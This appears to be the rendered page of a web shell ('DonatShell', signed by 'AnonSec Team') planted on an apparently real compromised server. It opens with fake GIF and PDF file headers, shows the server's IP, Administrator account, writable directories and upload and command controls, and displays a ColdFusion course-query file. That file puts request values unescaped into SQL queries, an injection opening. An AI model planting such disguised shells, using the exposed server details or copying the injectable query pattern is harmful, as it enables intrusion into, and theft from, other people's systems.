GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/qry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/qry/DepartmentCurrentCredentialCourses.cfqry
<!--- DepartmentCurrentCredentialCourses.cfqry --->

<cfparam name="DepartmentCourseDebug" default=false>
<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>DepartmentCourseDebug is on.<br></cfoutput>
</cfif>

<cfparam name="DepartmentID" default="">

<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>DepartmentID=#DepartmentID#<br></cfoutput>
 <cfoutput><pre>
   SELECT  First(Course.CourseID) AS FirstCourseID, 
           Department.DepartmentCode, 
          Course.CourseNumber
     FROM Credential 
           INNER JOIN ((Course 
          INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID) 
          INNER JOIN CredentialSection_Course ON (Course.CourseID = CredentialSection_Course.CourseID) 
            AND (Course.CourseID = CredentialSection_Course.CourseID)) 
            ON Credential.CredentialID = CredentialSection_Course.CredentialID
 GROUP BY Department.DepartmentCode, 
          Course.CourseNumber, 
          Course.DepartmentID, 
          Department.DepartmentCode, 
          Course.CourseNumber, 
          Credential.CredentialIsObsolete, 
          Course.CourseIsObsolete
   HAVING (((Course.DepartmentID)=#DepartmentID#) 
      AND ((Credential.CredentialIsObsolete)=0) 
      AND ((Course.CourseIsObsolete)=0))
 ORDER BY Department.DepartmentCode, Course.CourseNumber
 </pre></cfoutput>
</cfif>

<cfquery datasource="#APPLICATION.DATASOURCE_RC#" 
     name="DepartmentCurrentCredentialCoursesCF">
   SELECT  First(Course.CourseID) AS FirstCourseID, 
           Department.DepartmentCode, 
          Course.CourseNumber
     FROM Credential 
           INNER JOIN ((Course 
          INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID) 
          INNER JOIN CredentialSection_Course ON (Course.CourseID = CredentialSection_Course.CourseID) 
            AND (Course.CourseID = CredentialSection_Course.CourseID)) 
            ON Credential.CredentialID = CredentialSection_Course.CredentialID
 GROUP BY Department.DepartmentCode, 
          Course.CourseNumber, 
          Course.DepartmentID, 
          Department.DepartmentCode, 
          Course.CourseNumber, 
          Credential.CredentialIsObsolete, 
          Course.CourseIsObsolete
   HAVING (((Course.DepartmentID)=#DepartmentID#) 
      AND ((Credential.CredentialIsObsolete)=0) 
      AND ((Course.CourseIsObsolete)=0))
 ORDER BY Department.DepartmentCode, Course.CourseNumber
 </cfquery>

<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>
 	DepartmentCurrentCredentialCoursesCF.RecordCount=#DepartmentCurrentCredentialCoursesCF.RecordCount#<br>
 	<cfdump label="DepartmentCurrentCredentialCoursesCF" var="#DepartmentCurrentCredentialCoursesCF#">
 </cfoutput>
</cfif>

<cfset CurrentCoursesURL = APPLICATION.HTTP_SERVER & "/qry/DepartmentCurrentCredentialCourses.php">
<cfhttp url="#CurrentCoursesURL#" method="GET" resolveurl="Yes" throwonerror="Yes"/>
<cfset CurrentCourses = CFHTTP.FileContent>
<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
  <cfoutput>
    <br>
    CurrentCoursesURL= #CurrentCoursesURL#<br>
    CurrentCourses= #CurrentCourses#<br>
    ListLen(CurrentCourses,";")=#ListLen(CurrentCourses,";")#<br>
    ListGetAt(CurrentCourses,1,";")=#ListGetAt(CurrentCourses,1,";")#<br>
    <br>
  </cfoutput>
</cfif>
<cfloop index="CourseInfo" list="#CurrentCourses#" delimiters=";">
	<cfset CourseInfo = trim(#CourseInfo#)>
	<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
    <cfoutput>
      <br>
      CourseInfo=#CourseInfo#<br>
      ListLen(CourseInfo,",")=#ListLen(CourseInfo,",")#<br>
    </cfoutput>
  </cfif>
  <cfif ListLen(CourseInfo,",") eq 3>
    <cfset CourseNumber = #ListGetAt(CourseInfo,2,",")#>
    <cfset DepartmentCode = #ListGetAt(CourseInfo,1,",")#>
    <cfset FirstCourseID = #ListGetAt(CourseInfo,3,",")#>
		<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
			<cfoutput>
        CourseNumber=#CourseNumber#<br>
        DepartmentCode=#DepartmentCode#<br>
        FirstCourseID=#FirstCourseID#<br>
      </cfoutput>
    </cfif>
    <cfquery name="newCourse" dbtype="query">
    SELECT * 
      FROM DepartmentCurrentCredentialCoursesCF 
     WHERE CourseNumber = '#CourseNumber#' 
       AND DepartmentCode = '#DepartmentCode#'
    </cfquery>
		<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
			<cfoutput>
        newCourse.RecordCount=#newCourse.RecordCount#<br>
      </cfoutput>
    </cfif>
    <cfif newCourse.RecordCount eq 0>
			<!--- Add the missing course --->
      <cfset temp = QueryAddRow(DepartmentCurrentCredentialCoursesCF)>
      <cfset Temp = QuerySetCell(DepartmentCurrentCredentialCoursesCF, "CourseNumber", #CourseNumber#)>
      <cfset Temp = QuerySetCell(DepartmentCurrentCredentialCoursesCF, "DepartmentCode", #DepartmentCode#)>
      <cfset Temp = QuerySetCell(DepartmentCurrentCredentialCoursesCF, "FirstCourseID", #FirstCourseID#)>
		</cfif>
	</cfif>
</cfloop>

<cfquery name="DepartmentCurrentCredentialCourses" dbtype="query">
SELECT *
  FROM DepartmentCurrentCredentialCoursesCF
ORDER BY DepartmentCode, CourseNumber, FirstCourseID
</cfquery>

<cfif DepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>
 	DepartmentCurrentCredentialCourses.RecordCount=#DepartmentCurrentCredentialCourses.RecordCount#<br>
 	<cfdump label="DepartmentCurrentCredentialCourses" var="#DepartmentCurrentCredentialCourses#">
 </cfoutput>
</cfif>

Anon7 - 2022
AnonSec Team